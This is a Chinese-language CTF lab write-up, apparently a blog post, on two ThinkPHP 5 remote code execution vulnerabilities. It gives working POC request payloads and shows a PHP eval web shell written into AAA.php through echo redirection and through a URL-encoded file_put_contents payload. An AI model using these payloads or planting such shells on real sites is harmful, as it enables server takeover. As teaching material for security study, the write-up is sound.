目录
靶场地址
ThinkPHP5.0.23 远程代码执行
简介:
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
详细分析:
ThinkPHP 5.0 * 远程代码执行漏洞分析_tdcoming'blog-CSDN博客_index.php?s=captcha
POC
路径:
index.php?s=captcha
POST传参 我用的是hackbar,用burpsuite也行。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=
测试过程:
显示当前路径:参数pwd
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
命令执行成功,接下来上传木马找flag。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_REQUEST["pass"]);?>' > AAA.php
用echo 方式传参 >是重定向的意思 简单分析一下
- 首先echo 将 <?php @eval($_REQUEST["cmd"]);?> 打印
- 然后 > 重定向 将echo输出的内容 <?php @eval($_REQUEST["cmd"]);?> 写入AAA.php文件 (同时这里也创建了AAA.php文件)
而且这里不能用 get 和 post 只能用 request
<?php @eval($_GET["cmd"]);?>
<?php @eval($_POST["cmd"]);?>
这时木马已经上传成功了,
可以用下面的命令查看 (或者直接url/AAA.php 发现是可以进去的 虽然显示为空页面)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
蚁剑连接
进来之后翻了很久没找到flag 没办法,提示说是在根目录,我一直以为根目录就是HTML哪里。结果还用linux终端模糊查询才找到了flag,真是闹了笑话。
Thinkphp5.0.22/5.1.29远程代码执行漏洞
简介:ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
其实和上面的利用姿势都差不多
详细分析:
POC
注意这个是get请求
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
测试一下 ls 打开目录
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
成功了,接下来就是老姿势了。
先对上传的木马url编码
上传
payload
把一句话的代码写入 AAA.php文件
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=AAA.php&vars[1][]=%3c%3fphp+%40eval(%24_REQUEST%5b%27pass%27%5d)+%3f%3e
蚁剑连接
顺便打个广告 安鸾的平台的确不错,重要是免费,的确挺适合我这种新手的。(白嫖的确有点不好意思)
参考链接:
Vulnhub-ThinkPHP5 5.0.23 远程代码执行漏洞 - 简书
ThinkPHP 5.0 * 远程代码执行漏洞分析_tdcoming'blog-CSDN博客_index.php?s=captcha
ThinkPHP 5.0.23 远程代码执行 漏洞复现_Senimo-CSDN博客
THINKPHP网站漏洞修复对于远程写入网站木马文件漏洞详情与修补-阿里云开发者社区
作者水平有限,有任何不当之处欢迎指正。
本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!